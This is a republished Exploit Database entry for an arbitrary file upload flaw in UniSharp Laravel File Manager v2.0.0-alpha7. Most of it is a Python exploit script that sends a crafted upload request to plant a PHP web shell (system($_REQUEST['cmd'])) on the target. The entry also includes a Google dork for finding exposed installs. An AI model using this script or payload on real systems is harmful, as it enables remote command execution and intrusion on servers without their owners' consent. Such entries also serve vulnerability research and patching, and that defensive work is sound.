UniSharp Laravel File Manager 2.0.0-alpha7 – Arbitrary File Upload

Exploit Database
131 阅读

作者： Mohammad Danish

日期： 2019-02-15
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/46389/

### Exploit Title: UniSharp Laravel File Manager - Arbitrary File Upload

## Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io

## Exploit Author: Mohammad Danish

## Vendor Homepage: https://github.com/UniSharp/laravel-filemanager

## Software Link: https://github.com/UniSharp/laravel-filemanager

## Version: v2.0.0-alpha7 & v.2.0

##Exploit: UniSharp Laravel File Manager - Arbitrary File Upload

##Reference: https://github.com/UniSharp/laravel-filemanager/issues/356

##Issue Description:

##Larvel File Manager by UniSharp allows Arbitrary File Upload if type is set to Files /laravel-filemanager?type=Files

##*********************

##IMPORTANT READ

##*********************

##Code is not good written, as I just started learning python

##**********************

##[!!] USAGE: exploit.py <target-ip> <target-port> <laravel_session Cookie>

##[!!] USAGE: exploit.py 192.168.100.12 8080 eyJpdiI6IlplemdVaG9FSm9MaXJobEgrYlwvSkhnPT0iLCJ2YWx1ZSI6IkhrZ2R1O..........<YOUR SESSION ID HERE>

##-----------------------

import socket

import sys

def exploit(host,port,sessionId):

req = ""

req += "POST /laravel-filemanager/upload HTTP/1.1\r\n"

req += "Host: "+host+":"+port+"\r\n"

req += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"

req += "Accept: */*\r\n"

req += "Accept-Language: en-US,en;q=0.5\r\n"

req += "Accept-Encoding: gzip, deflate\r\n"

req += "X-Requested-With: XMLHttpRequest\r\n"

req += "Referer: http://"+host+":"+port+"/laravel-filemanager?type=Files\r\n"

req += "Content-Length: 527\r\n"

req += "Content-Type: multipart/form-data; boundary=---------------------------12194679330849\r\n"

req += "Cookie:laravel_session="+sessionId+"\r\n"

req += "Connection: keep-alive\r\n"

req += "\r\n"

req += "-----------------------------260082409123824\r\n"

req += 'Content-Disposition: form-data; name="upload[]"; filename="c0w.php"\r\n'

req += 'Content-Type: text/plain\r\n\r\n'

req += 'Happy Hacking!!\r\n'

req += "<?\r\n"

req += "system($_REQUEST['cmd']);\r\n"

req += "?>\r\n"

req += "-------------------\r\n"

req += "-----------------------------260082409123824\r\n"

req += 'Content-Disposition: form-data; name="working_dir"\r\n'

req += "/1\r\n"

req += "-----------------------------260082409123824\r\n"

req += 'Content-Disposition: form-data; name="type"\r\n'

req += "Files\r\n"

req += "-----------------------------260082409123824\r\n"

req += 'Content-Disposition: form-data; name="_token"\r\n'

req += "MU5XhVxbrkRnkVJFUHCjdfNSVTKm3qro6OgtWXjy\r\n"

req += "-----------------------------260082409123824--\r\n"

s = socket.socket()

int_port = int(port)

s.connect((host,int_port))

##print req

s.send(req)

response = s.recv(1024)

magic = response[-10:]

if "OK" in magic:

print "[!] Your shell Uploaded successfully to directory /1/c0w.php"

else:

print "[!] Either the server is not vulnerable OR \r\n1) Check your laravel_session cookie \r\n2) Change working_dir in this exploit \r\n3) Check _token"

host = sys.argv[1]

port = sys.argv[2]

sessionId = sys.argv[3]

exploit(host,port,sessionId)